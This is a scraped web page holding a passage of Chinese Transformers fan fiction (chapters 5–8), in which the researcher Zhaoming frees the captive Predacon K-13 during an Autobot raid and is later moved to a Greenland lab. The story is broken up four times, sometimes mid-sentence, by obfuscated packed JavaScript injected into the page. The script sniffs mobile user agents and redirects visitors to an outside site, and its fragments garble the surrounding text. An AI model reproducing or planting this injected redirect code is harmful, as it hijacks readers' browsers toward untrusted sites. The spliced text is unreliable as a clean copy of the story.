;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205166|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发了一场爆炸,以及新到的高级能量块特别少,不知道是不是被上面克扣私藏了。 照明半芯半意地听着,只在必要时才回应,但她芯里的紧张感在这种闲聊氛围里逐渐消失了。 这太像生活没有发生巨变之前,和好友一起在油吧轻轻松松开玩笑的场景。 风语豪气地一口闷了诡异能量块。她停顿了一下,迟疑地说:“嗯,总之,下次去实验体那注意安全,好吗?我可不想某天负责回收你的机体。” “我会小芯的。”照明轻声说,“谢谢你,风语。” 风语的机翼竖了起来,有点不好意思地转移话题:“那现在我该回去工作了。唉,我想总得有人处理这些杂活。我真希望这个破地方下一秒就爆炸。” 嘭。 一阵低沉的轰鸣骤然炸响,听起来像远处的雷声,带着沉闷的震颤在空气中回荡。 能量供应处里的研究员们还在闲聊,有些机还在抱怨工作,突然警报声刺耳地响起,原本明亮的灯光瞬间转为表示警戒的红色。 她们脚下的地面短暂地震颤起来,有几个能量块甚至从传送带上掉了下来。 然后又是一声。 轰——! 这次是确定的爆炸声,伴随着地面的剧烈颤动,凡是听到的机都不可能将其错认成打雷。 风语大惊失色:“什么?真的爆炸了?我开玩笑的。” 情况很危急,但照明不合时宜地感到一阵好笑,她揶揄道:“梦想成真的感觉如何?” 能量供应处顶部的灯光也忽明忽暗地闪烁着,随后令人不安地熄灭了。整片空间顿时陷入一片黑暗,只有大家的光学镜头还在闪着光。 研究员们议论纷纷,不安地交换目光。 “我亲爱的流水线啊,这是怎么了?发生了什么?” “别是哪个蠢货又在研究什么奇怪的东西引发爆炸了吧!” “这次怎么这么严重!我有点害怕……” 机械广播的声音突然响起:【系统播报紧急情况。安全系统检测到异常,需立即排查。注意,无须惊慌,请各部门有序疏散。再次重复一遍,无须惊慌……】 混乱一下子弥漫了整个房间。 霸天虎们可没那么多谦让精神,研究员们你推我我挤你,向着能量供应处的大门涌去,顾不上有没有拿上能量补给,也顾不上谁踩了谁,还有的机子直接库库咔咔七七一阵变形,直接从人群的头顶飞窜了出去。 照明和风语跟着人流向前,刚刚挤出门,忽然有人叫道:“是研究所底部库房爆炸了!是敌人的攻击!” 研究所底部? 照明想起当时行政主管带她前往的、位于研究所最底层的、很少有人知道的隐秘实验室。 K-13就在那里。 “我得去看看。”她喃喃着说道。 风语一把扯住照明的轮胎:“喂喂,你疯啦?你没听到他们刚刚说的话吗,有敌人!是汽车人!” 照明坚定了语气:“别担芯。但是我真得去看看。” 风语看着照明灵活地向着人群涌来的反方向跑去,处理器里回荡着刚刚朋友说的最后一句话: “别跟过来,我可不想写多余的报告向上级解释你为什么违反了保密条例。” 5. 双刀客 初级研究所是震荡波长官那庞大研究分支中的一环。 他在哪里进行一点他疯狂的研究,哪里就如同细胞分裂一样咔嚓一下又诞生了一个隐蔽的秘密实验室,随后霸天虎研究部门就会在那建立一个外围研究所。 按照编制,研究所里的机也算是霸天虎大军的一部分,不过看这股慌乱的势头,显然研究员们很多都没有上过战场。 越是靠近设施的底层,爆炸带来的破坏就越明显,紧急警报声伴随着时而出现的尖叫声响着。烟雾弥漫在走廊中,闪烁的红灯照亮了墙体结构的裂纹。 照明一边躲避落下的碎片,一边忿忿地嘴上不停:“太好了,这正是我需要的。一个小小的爆炸,来为我充电前的闲暇时光增添些乐趣……” 循着混乱的地方跑去,她收获了很多个“这机子疯了吧”的眼光。 跑着跑着,照明奔跑的速度慢了下来,好像刚刚是源自火种的一时冲动,现在神经回路慢悠悠地跑完了全程,中央处理器终于分析出了行动的利弊。 对啊。她到底为什么要跑去检查K-13? 照明已经不是曾经那个连续三周期不充电、越权向上级提交报告,只为了证明自己实验结果正确的机了。 在被贬职、再一次被贬职之后,她对于工作的热情就像红蜘蛛的诚实一样消失不见了。 现在的她是被众人排挤的摆烂之王,而且她很满意现状,也将继续摆烂下去。 说得黑暗一点,K-13死了不是更好吗?高层们可能会生气愤怒,照明可能会受到惩罚,但是大概率不会被报废。 一个小小的邪恶声音仿佛在照明音频处理器旁低语: 这样就不用和实验体火种融合了。 这样你就自由了。 但是……在这个研究所里,真的存在着“自由”吗? 就像是命运向她伸出手,就在照明犹豫不定的这一刻,她的通讯电台频道里传来了混乱的报告。 “疑似隔离区破坏……实验室结构受损——区域09,实验状态未知——” 照明的光学镜闪了闪;她本可以忽略,但某种说不上来的情绪让她继续了脚步。 K-13被关在隔离仓里,它还困着吗?它有没有受损?它逃出来了吗? 也许她只是想看看那个野兽是否还呆在它应该呆着的地方。 也许她只是像风语一样短暂地渴望生活迎来转机。 她不会承认自己在不自觉地寻找借口接近K-13。尽管她不会承认,但她对K-13的性格元件产生了一种难以言喻的兴趣。 最后照明只是对自己叹息:“真不敢相信我居然有一天主动去实验室加班。” —————— 经过迅速地检查,照明发现载梯已经进入了紧急锁定模式,且失去了供能的动力。 主要通道被摧毁,照明不得不寻找另一条前进的路。 附近有一个损坏的安全终端闪烁着,好像还能使用,于是照明从腰侧抽出连接电缆接入其中,扫描结构报告,寻找着可能的替代路线。 一找到,她就关掉了终端,继续前进。 当她终于到达最底部的隔离区时,实验室在前方的烟尘里若隐若现。 虽然照明也才到这里一个周期,但实验室几乎看不出一点她记忆里的样子了,似乎这里离爆炸的源头非常近。 曾经的感应门已经不再需要什么火种识别才能进入了。照明挥开合金的碎片,踏入千疮百孔的实验室。 在看到外面的凄惨的景象之后,照明意外地发现,原本关押着K-13的隔离仓居然只有顶部损坏,看来隔离仓的材料也是为K-13量身定制升级过的。 隔离仓里面,K-13在充电床的边缘不耐烦地移动着。它的手被拷住了,可能是某种自动装置。 照明莫名释然地从通风口呼出一口气,轻微的静电嘶嘶释放出来。 K-13的各项功能仍然正常运作。K-13仍然活着。 轻松感只维持了一纳秒,持续到她的头雕后被顶上一把充能的激光枪。 “你。别动。除非你想要让你的脑袋开花。”一个带着痞气的低沉陌生声线说。 敌人?是汽车人吗? 激光枪依旧死死地顶着,贴着照明头雕绕了半圈,照明于是得以见到神秘的敌人。 果然是个汽车人。但是不存在于照明的记忆库里面。 这个汽车人有着银白与深灰色相配的涂装,上面还有醒目的红色条纹。 他的外装甲刻满了细微的刮痕和凹碰,甚至连面甲和嘴角都有几道疤痕,可以看出这些都是从无数次战斗生还后留下的痕迹。 他的目光落在照明身上,表情难以捉摸。他开口,似乎想要讯问些什么,但是随即他看到了隔离仓里的K-13,蓝色的光学镜中的焦点瞬间收缩了。 “噢,看我发现了什么。这些怪物原来还有漏网之鱼。”他轻声说道,声音中充满了冰冷。“一只不知怎么从我手心里溜走的流浪野兽。” 照明的处理器飞速运转,战斗模块早已上线。 K-13很危险。她刚被提醒过这一点。 但是现在不是犹豫的时候! 就趁汽车人略被分散注意力的这一刻,冒着被一枪崩了的风险; 照明动了。 在半步之间完成变身,一辆军用探照灯车在照明本来的位置出现;车后的探照灯臂一下发射出高温激光束,势如破竹地把隔离仓切开了一个大口子。 由于整体性被破坏,隔离仓不再坚不可摧,仓门随着密闭装置的失效而自动打开,释放了K-13。 K-13走了出来。 片刻间,谁都没有动。 然后,战斗瞬间打响。 汽车人的背后竟还有一双长刀,他反手拔刀朝着K-13冲去,试图用一个漂亮的绞杀斩下敌人的头颅;K-13猛然一个附身,刀锋擦着她背部的金属翅膀划出火星! 尽管它伤势刚刚被照明修复,而且手铐仍然限制着它的发挥,K-13却不愧是天生的战士,它的打击很精准且残酷。 它从诞生开始就一直在镣铐中挣扎,已经习惯带着锁链了。 K-13扭动身体,又躲过汽车人双刀客的一刀。 刀刃刻入钢铁地板,刺耳的声音在废墟般的房间中回荡着。 K-13没有武器,但它也不是手无寸铁,它欺身而上,用锋利的双爪迎上刀锋。 “噢,你要这样打吗?好啊,”双刀客眯起光学镜,爽朗笑道,“Let''sdance!” 他用刀多次快速连打,K-13受到打击,怒吼一声,足部在实验室的地上留下深深的划痕,用拳头击打他的侧面。 她一拳击飞双刀客,双刀客倒飞出去,一个敏捷完美的后空翻后在实验室墙壁上反手借力,一脚踹向K-13的头雕。 K-13勉强及时抬起手阻挡,撞击中爆发出一阵火花。它踉跄着后退撞在墙上,但马上靠墙借力,用膝盖撞向双刀客的侧面。他哼了一声,让巨狰狞有机会调整位置,光学镜里暗暗闪过计算,等待着那完美的时机—— 双刀客的刀刃划出一道致命的弧线。 这正是K-13所需要的。 它不但不后退,反而迎了上去,精确无比地举起双手,使束缚着它双手的手铐中端与双刀客的刀刃对齐——电光火石之间,金属悍然相碰。刀刃带着一声坚硬的断裂声切断了束缚。 巨狰狞自由了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205167|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 或许原来的战斗形势还能说得上是僵持不下,现在K-13解开镣铐之后彻底放开手脚,形势迅速地一边倒。 照明变回了初始形态,密切观察着这场战斗。 K-13像龙卷风般移动,她乘势而上,攻击越来越快、越来越锋利,抓住敌人微小的漏洞,将爪子深深插入汽车人的关节缝隙处。 汽车人在这场战斗中已经失去了优势地位。 双刀客被K-13一拳接着一拳打中,连续的快速的打击让他几乎没时间反应。他虚晃一招,从子空间里掏出了什么,但是明显地犹豫了。 照明眼尖地认出这是一个高度浓缩的能量体,一个手雷。 实验室空间太小了,她意识到。他不会冒险在一个封闭的空间内引爆手雷。 但显然双刀客还是在计划着什么,他转变策略,快速移动躲避了K-13的下一击。然后—— 他奇迹一般出现在照明旁边,将她向后拉去,抓住了照明,枪口抵上她火种仓的位置。 “停下!”他厉声命令,“否则下一秒我就杀了她。” 照明翻了翻光学镜,不知道是对自己又被绑架无奈还是对这个汽车人无语。 这真是一个绝望之下的愚蠢尝试。K-13根本就不会关芯自己的研究员死没死,刚刚没对她动手而是去打汽车人就算万幸了。 K-13停下了。 等等。 什么? 这太离谱了。他们昨天刚见过面。K-13没有必要关芯—— 但她随后注意到了其他事情。K-13的光学镜并没有聚焦在她身上。它们在她身边快速移动,扫描着周围环境。残骸。墙壁上的裂缝。 不是因为担芯而犹豫,它是在思考和计算。 照明按捺下不知道哪里冒出的失望感。 很好。因为她对被救不感兴趣。 她身体上的光带突然有节奏地强烈闪烁! “什么——”双刀客看向自己的俘虏,他的视线一瞬间变得模糊。 这是一种天赋能力。有时灵有时不灵,但是还好这次管用了。 闪烁的光点带来细微的信号脉冲,几乎难以察觉,但错误的指令像病毒一样穿越了双刀客的神经网络。 尽管双刀客几乎马上反应过来发射激光枪,但是准星已经偏离了照明的火种仓,打在她右肩上。 照明以右臂断裂的代价脱离了双刀客的掌控。 双刀客退后一步,肩部的装甲微微翕张,能量液顺着颤抖的手指滑落。他明显已经负伤不轻,毫无办法脱身了。 他脸上的表情变得坚毅,颤抖的手掏出手雷—— 蓝绿的漩涡在他旁边突然打开。 是陆地桥!照明的光学镜闪了闪,她能看出双刀客也并未预料到这一点。 一道绿色的身影从传送门跃出,是一个大型机,照明好像看到过他的资料,是叫档板还是隔板? “老千,你这家伙搞得这么狼狈?”隔板利落地抓住千斤顶的一只手臂搭在自己肩膀上,把他往陆地桥方向拽。 “嘿,雷霆救援队从不请求支援。” “但有时候也需要一点小小的后援,快走,它要追过来了!” “老千”低咒了一声,看了一眼照明和K-13,最终没有多说什么,顺势撤离。 陆地桥关闭的一瞬间,实验室里陷入了短暂的寂静。 照明捂住右臂断裂处,缓缓转头,正对上K-13的目光。 那双光学镜里,燃烧着某种危险的东西。 它不是在看她。 它在看——那个“老千”从外部炸开的通道。 它在衡量这条通道离外界有多远,自己能不能从那逃脱。 6. 医疗救助 照明是军品没错,但她不怎么喜欢战斗。 她先因为具有特殊能力被推荐到报应号,然后又被扔到霸天虎研究部门,再被丢到初级研究所,一贬再贬,日常工作中就没有过“战斗”这一要求。 这也就可以解释为什么她没有装战斗人员经常安装的电路阻断器。 装上那玩意之后,一旦某个部位遭到重伤,机子就可以控制电路阻断器将伤处的知觉暂时阻断,阻止超负荷的痛觉反射到中央处理器让主系统下线。 这在很多关键时机会有奇效。 比如现在。照明已经后悔没有安装这个部件了。 刚刚思维高度集中的时候还好,现在稍微放松下来,剧烈的疼痛顺着神经回路反射到中央处理器里,疼得照明面甲扭曲。 所以这就是违背自己生存信条的代价。他们怎么说的来着,好奇芯害死光纤猫? 随着能量液从燃料管线里面不断流出,在地上留下一小滩荧蓝色能量液,照明的光学镜逐渐难以对焦,主系统不断发出“能量水平低”“机体受损”之类的警告。 照明苦笑着叉掉那些警告。 K-13还在盯着她——或者是她背后的塌陷墙壁打开的通道。 刚刚的战斗已经充分证明了巨狰狞的战斗力,照明不太想靠近K-13,至少不是现在。如果没死在汽车人手里,反而被自己放出来的实验体杀死,未免也太冤枉了些。 但她也没有能量变形离开了,于是照明放弃挣扎,索性直接坐在了地上,后背靠着墙,这样还能省些能量。 燃料水平已经下降到了危险的程度,系统预估照明将在三个分循环内进入锁定状态。 普莱姆斯在上,不管K-13是要逃跑还是干什么,随它的便吧。 只要让她一个机安静地呆着…… 普神没有听到照明的祈祷。K-13的姿态变得坚定,好像完成了某种评估。 它朝照明走了过来。 巨狰狞会吃变形金刚吗? 照明对此深感怀疑。不过她也不能保证K-13不像对待刚刚的敌人一样把她一拳揍飞。 照明努力对焦光学镜,注视着它。 K-13是战斗的胜利方没错,但是这胜利并非是没有代价的。 汽车人的双刀给它造成了不小的损伤;K-13刚焊接好的伤口流露出能量液,医疗补丁崩开,头顶本来被照明打磨光滑的双角也有了一道深深的裂痕,机体看起来比修理前还要破旧了。 处理器得到的供能不够,照明的思维也不再那么活跃,于是她看着走过来的巨狰狞,只是模糊地笑了一下。 “可惜了。我花了那么多时间才把你修好。”她咕哝着,摇了摇头。真芯的废话逃脱了脑模块的审核,就这样从发声器里流露出来:“唔。不过现在也挺好看的。别有一番风味。” K-13的脚步莫名停顿了一下。 它瞥了照明一眼。然后它环顾四周,从钢铁的碎块旁捡起了照明的右手臂。 在K-13飞快地藏起什么之前,照明似乎瞥见了一个红色和蓝色的金属碎片。但K-13没有把它放回断肢上,只是往胸前的装甲上一抹,碎片就消失在它的子空间里。 嗯?K-13刚刚是不是私藏了一个自己的零件?? 在照明来得及提出质疑之前,K-13附身过来,庞大的机体投下阴影,完完全全把照明笼罩在了自己下方。 这一切都要结束了吗?自己要回归火种源了吗? 唉。希望风语可以在炸药把自己剩余的机体装饰在新实验室里的时候,阻止这种猎奇的行为。 照明的机体不自觉地紧绷起来,等待着致命一击。 K-13只是又靠近了一点,然后一气呵成地凑近,彻底将照明困在墙和它之间。 它的一只爪子支撑在照明的头雕旁边,另一只以一种令人意外的小心翼翼将她断掉的肢体放在她的腿上。 照明不确定地说道:“谢谢?” K-13没有反应,于是照明继续说:“虽然很感谢你特意把它捡回来……但我觉得我没法自己把它重新接上。” 仍然没有回应。对了,它应该不会说话。 但照明还是忍不住想要说点什么。 因为K-13的手动了。左边的爪子此刻靠着她的头雕,随意玩弄着她敏感的天线,右边的爪子则徘徊在她肩膀因断臂而暴露的燃料管线附近。 太近了。照明整个机都变得僵硬。他们之间的距离几乎不存在。 她急促地换气,闻到了烧焦金属和燃油的气味。这气味来自于K-13的机体框架,它的装甲还在因为刚刚的战斗而散发着余热,引诱照明内部系统产生着微弱的电荷。 K-13光学镜的暗金色光芒也略有闪烁,却完全聚焦在她身上。 照明唯一可以确定的就是,它没有攻击的意图。 K-13喷了一口气,然后张嘴,竟然吐出了一个小小的火球,大小仅略大于焊接产生的火花。 照明惊奇的看着这一切,暂时忘记了疼痛。 “哇哦……这还挺酷的……” 橙红色的小火球被K-13的右爪挡住,它将爪子放进焰心中,将尖尖的指尖加热到它们烧得通红发亮。 在K-13将那炽热的爪子按在她敞开的燃料管线上之前,照明几乎没来得及反应。 她一时失去对发声器的控制,短促地惊叫一声,机体因突如其来的疼痛而抽搐。 但值得称赞的是,这种方法很有效。能量液的泄漏减缓了。 K-13缓慢而有序地用加热的爪子压住泄漏的燃料管线。 “嗷,嗷!”照明顾不上面子地龇牙咧嘴,看到K-13在观察她的反应,她缓和了表情艰难解释:“再次感谢!没有别的意思,只是大多数医护人员都会,用工具来做这件事,而不是,该怎么说呢,烤自己的手。” K-13自然是没有回应的,但就在那一刹那,它的爪子微微弯曲,仿佛在测试热度。 如果K-13不是巨狰狞,或许还挺适合做个战地医生。断裂的燃料管线被烧灼之后都闭合了,给照明的机体里留下了足够再撑一会的能量液。 “嘿!” 莫名静谧的氛围被咋咋呼呼的招呼声打破了。 风语从曾经是门的破洞里探出头,语气里带着一丝犹豫:“所以,我知道我没有听你的话,但是嘿,好消息,我是被批准过来的,刚刚——你们这是在干什么?她是谁?啊……” “啊!”风语的光学镜视野扩大了。无论她的中央处理器刚运算出了什么样的结果,都让她惊恐地尖叫起来。 “所、所以这就是那种‘失控实验体变得暴力’的情况,对吧?!” 照明:“……” 也不能怪风语草率地下了结论。这整个场景简直就在大声说“救命!逃跑实验体攻击研究员啦!”如此标准的情节,是个机都得误会。 “事情不是……你想象的……那样!”照明还是努力提高声音叫道,像所有八点档主角那样拼命解释。 K-13警惕地慢慢直起身。 风语还在状况外般反应着,艰难地推理看到的凶残景象。她的光学镜头在照明、K-13和断肢之间快速移动。 从肩膀处断裂的手臂。 下一秒,她惊呼得如此大声,几乎有些搞笑且黑色幽默,如果照明不是当事机的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205168|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 “等等——等等!它不只是在攻击你——恶!它是在吃你吗?!” ??? “你——它——”风语做出一系列不明所以的手势,疯狂地指着那截断臂。 “她在舔食你的能量液体!吞噬你的重要部件!这就是她为什么和你靠得那么近!这就是你为什么只是坐在那里,看起来奇怪的冷静!你要被吃掉了!” 照明将仅剩的一只手捂住她的面甲。 “不是!” 风语的目光变得锐利,仍然深表怀疑。“...那么解释一下它为什么像看着能量小蛋糕一样看着你。” 照明看向K-13。它刚刚是翻了翻光学镜吗? K-13最后看了一眼照明,就敏捷地向着旁边墙壁上的破损之处钻去。 然而,就在这时,实验室里的空气发生了某种变化! 照明的传感器中传来一阵低沉、几乎察觉不到的嗡嗡声。 她几乎来不及反应,一股集中的能量冲击波在空间中爆裂,直接瞄准了K-13。 刚刚逃出实验室的K-13僵硬了,它的机体剧烈地抖动了一下。能量冲击波穿过它的神经网络,针对性的脉冲麻痹了它的行动。 在那短短一瞬,它似乎要强行挺过去;但它没有。 痛苦挣扎之后,它抽搐着倒下了。 缓慢的、有节奏的脚步回响在这个空间里。 在这个发出攻击的机子完全进入视线之前,她手持武器的阴影先投射在了地面上。 是研究所副所长——泽卡莱亚。 风语放下芯来,小跑了过来,扶起照明:“刚刚我在过来的路上遇到了泽卡莱亚长官,我忍不住和她说你跑过来了。是不是很及时?你们的工作还真……” 照明没有在听风语的话,她的视线转向了K-13。 泽卡莱亚一如既往地没有什么表情,动作镇定果断。她扫描了倒下的K-13,以一种观察暂时出现故障的样本的态度。 然后她挥了挥手,安全保卫部的几个杂兵鱼贯而入。 这次他们带来了静滞仓。 照明吞咽了一下,她的逻辑电路感到一丝违和。 静滞仓内的生命体会陷入一种类似于离线的状态,就像一个无生命的物体那样。 这纵然将让K-13彻底失去任何逃跑的机会,但很不利于它火种的恢复,也会影响到之后和照明的火种融合。 除非……如果它被放进静滞仓,是不是意味着高层决定放弃它?放弃“火种融合”计划,直接报废这个实验体? 照明脱口而出:“它没有攻击我。” 泽卡莱亚微微侧头,好像现在才意识到照明的存在:“这个情况和对于K-13实验体的处理决定没有关联。” 照明已经见过足够多的霸天虎被“退役”,知道这种不关芯的态度意味着什么。 但是K-13刚刚救了她,拜托,至少不要让它现在被当做凶手而彻底报废。 照明从来没有想过自己会说出这种话,她的逻辑电路在阻止,但她还是张开嘴:“它还有用!您知道的……” 照明看了一眼风语和安保部的那些机子,吞下小火种的相关词汇,转为暗示:“制造那个!我向您保证我可以在十个周期内完成任务……” 即使是始终淡然的泽卡莱亚,似乎也呆滞了一下。 “这是不可能的。” “请考虑我的建议,长官——” 照明根本没听见泽卡莱亚的话,也没听见风语的惊呼,只是无助地要求着。 这是她的极限了。 随着主系统同时弹出的多重警告,照明眼前一黑,下了线。 7. 关芯则乱 一上线,寒冷是照明首先注意到的感受。 这种寒冷不是实验室里那种空荡荡的寒意,而是一种更深沉的寒冷,好像要渗透进她的外装甲,冻住装甲下面的线路。 照明让光学镜彻底上线。 光滑的合金天花板上,光源正在微微闪烁,像是供能不足。远处传来呜呜的风声,伴随着每一次的呼啸撞击着墙壁。 周围的环境大不一样。这不是那个已经变成废墟的实验室,或者她记忆库里面任何一个场景。 随即照明意识到自己正躺在医疗床上。她侧过头,看到了火种监控仪和能量处理器正在运作,还有一个白色的机子站在旁边。 那是她曾经的上级,伊迪斯。 这也不奇怪,考虑到高层没有放弃照明。一些简单的小伤口可以交给下面的人处理,但是这种肢体断裂的严重伤势显然需要更高的医疗水平。医疗单位随着战争的推进越来越稀少,这就是为什么他们叫来了医护总管。 伊迪斯回过头,发现照明上线了光学镜。 “你醒了。”她说道,声音温和而有节奏。 她一手拿着数据板,另一只手校准了一下照明重新连接的右臂。然后她满意地点头:“现在应该差不多了。尝试一下握拳。” 照明尝试着活动了一下手指,手掌接收到了机体的电流神经信号立即做出反应,就和没有被切断过一样好用。 但是手臂曾经的断裂之处还残留着丝丝的幻痛感,提醒着她和汽车人的遭遇战。 “我必须承认,你手臂上的应急措施让我印象深刻。” 伊迪斯闲聊般继续说着:“当然,熔化的线路让维修工作变得复杂了很多,我不得不更换你大多数的燃料管线。但当时这种措施阻止了机体的锁死和后续的一系列问题。情况完全可以变得更糟。你真的很清楚在关键时刻要如何行动。” 噢,K-13! 照明芯里一急,从医疗床上坐了起来。 K-13怎么样了?她现在能够完好无损地坐在这里完全是K-13的功劳,然而她却对它的处境无能为力。 “多谢,伊迪斯长官。” 照明迟疑了一下,还是问道:“K-13怎么样了?它……还在运作吗?” 伊迪斯抬起光学镜,似乎对这个问题表示不解:“啊,K-13。是的,它也被带来了这里。你的实验将继续进行。你为什么这么问?” “……哪里?”她的发声器卡壳了一下,照明清了清发声器继续问:“我们在哪里?” “我想是在格陵兰岛北部的某个地方。” “什么?” 伊迪斯似乎是查看了一下日程,然后道:“既然目前没有紧急的事情要处理,让我来告诉你在你下线期间都发生了什么。” —————— 听完伊迪斯的解释,照明终于理解了现在的情况。 一场规模不算很大的爆炸不是研究所整体搬迁的原因,而是这场爆炸背后意味着的事情。 汽车人开了陆地桥接走了他们的战士,这说明汽车人已经掌握了研究所的位置。 黑骑士向报应号指挥中心申请了陆地桥进行转移。 高级研究员和高级别资产(如K-13)将首先被传送,然后是重要的实验设备。某些非必需材料,比如损坏的器械、失败的实验体和多余的供应,就被丢弃或就地销毁了,以免为汽车人的追踪和分析留下痕迹。 所以当时泽卡莱亚带来静滞仓只是为了控制K-13,方便把它运输到新的研究所? 当然如此!这才合情合理,她本该想到的。为什么自己那么愚蠢? 回忆起她下线之前的对话,照明尴尬得几乎想要逃离地球飞回赛博坦。 “保证可以在十个周期内完成任务”? 她的中央处理器得有多缺乏能量才能说出这种话! 伊迪斯在数据板上记录了一些什么,忽然转变话题:“我了解了部分当时的情况。K-13不是自己突破隔离仓跑出来的。” 他们当然检查了隔离仓。基于照明的变形形态,她的战斗方式也不是秘密。 所以照明没有隐瞒,而是直接承认了:“是我把它放出来的,长官。但是我有合理的行动理由,一个汽车人已经闯入了研究所!那一刻,只有K-13才能阻止他前进。” “我能理解。然而,我最在意的却不是这点。副所长或许没有意识到,但我可不会忽视,”伊迪斯看着照明,“告诉我,照明。你为什么要保护它?” 照明试图掩饰火种深处突然升起的焦虑。“抱歉长官,我不太明白您的意思。” “提醒我们实验体的价值?主动提出加速火种融合实验?这可不像平常的你。” 伊迪斯说得很轻松,几乎漫不经心;但这不仅仅是单纯的好奇,好像还隐藏着什么更深的东西。 照明犹豫了。 她可以说一些冠冕堂皇的假话,就像她当时说的那样,比如因为K-13是霸天虎的一笔宝贵军资,因为它即使不能变形也是强大的战士,因为这有利于霸天虎伟大的事业。 这会是合理的答案,也是能证明自己忠诚的答案,别人预期听到的那种。 但现在想来,除去对K-13的感激,她那个时候所想的只是—— 因为它不仅仅是一只野兽。 K-13是特别的。照明确信。 它给她一种赛博坦人的感觉,好像它具有思想和自由意志,好像它和他们……并无不同。 但是照明控制住了自己,没有把这话说出来。这只是她的怀疑。如果她说出来,他们可能会去进一步实验以验证这种猜想。 所以她只是让沉默持续了一会,然后谨慎地回答:“我不知道。可能我只是对无故处理掉这么特别的实验体感到可惜。” 伊迪斯看着照明,一如既往地难以捉摸。 但是马上她笑了起来,那是一个温柔又理解的微笑,仿佛照明的回答让她满意。 “黑骑士很高兴,她希望你保持这种上进的态度,让实验能稳定快速地进展。她非常期待新的巨狰狞幼生体出现。” “是的,长官。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205169|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >伊迪斯没有继续说话。 手臂已经修复好了,能量也在安全线上。照明站起身向伊迪斯告辞,准备离开这个临时医务室。 当照明和伊迪斯擦肩而过时,却听到她低声喃喃。 “你太善良。”伊迪斯的声音几乎轻到听不见,“一点也不像一个霸天虎。” 照明把这句话当做前上司委婉的责备和敲打。 她没有回答。 —————— 尽管能比这颗星球上的碳基原住民承受更严寒或炎热的环境,赛博坦人的机体也是有适宜的生存温度的。 寒冷的北极圈周围并不适合赛博坦人长期生存。 如果超过了机体能承受的最低温度,能量又告罄的话,他们先是会下线,超过一定时间他们会永久停机离线,火种也会熄灭——回归火种源。 不过官大一级压死人,在上面的一道命令下,研究所的机子们还是屁颠屁颠地卷卷铺盖搬来格陵兰岛了,只是大家都悄悄在电台里抱怨着。 黑骑士没有过度催促照明和K-13的火种融合实验,因为她暂时无暇顾及这个。 照明本来以为是因为汽车人看到了K-13,但事实证明K-13并不是搬迁的原因。 指挥中心命令他们转移好像更多考虑了别的因素,比如北极圈附近的稀有金属和曾经遗留的实验设备。 不知为何,霸天虎领袖的兴趣转移到了某种合成能量上,于是研究所的研究风向也陡然转变。 除了照明,研究员们几乎都收到了命令,丢下手头的任务,专芯致志地分析起合成能量残缺不全的配方来。 不知道是因为这一阵忙碌,还是基于实验体的高度保密性,照明甚至无法拥有一个助手。 倒不是说她需要一个助手,只是她迫切地需要和人说说话。风语自从上次之后就不见踪影,不知道被派出去搜寻什么了。 说到底现在还有什么要对这个实验体高度保密的必要? 照明有点无法理解,但是还是遵循着保密的规定。 两个兆循环过去以后,尽管再拖延,照明也已经浏览完了全部的数据板和终端里的实验记录。 于是她芯安理得地摆烂了。 倒也不是完全摆烂,毕竟她还肩负着要和K-13火种融合,不对,产生小火种,不对,体外火种融合的任务。 但是普神在上,什么样的机会主动去研究如何分裂自己的火种? 一想到这,照明的处理器就疼痛起来,打算先凑合着拖到下一次被问起实验进度再说。 别问,问就是正在研究。 除去这点之外,这个项目还是很不错的。 早上慢悠悠领完能量配给后欣赏一下K-13,每日两次定期往实验仓内注入能量液,偷看和工作无关的新闻和故事,在内置程序里玩点游戏,到点准时下班。工作从未如此惬意轻松,比照看幼生体的保姆还简单得多。 直到邦邦邦的敲击声吸引了照明的注意力。 “怎么啦?”照明放下手里的数据板,用哄幼生体的语气轻快道。 8. 摸鱼爽 K-13刚吸收完能量液,蓝色的能量液体从外甲上滑落,金灿灿的光学镜很亮。 它的拳头敲着隔离仓壁,面甲几乎贴在上面。 “好啦好啦,让我们来看看你是哪里不舒服。” 检测仪扫描了一周,发出稳定的绿光。这意味着检测对象的健康情况一切正常。 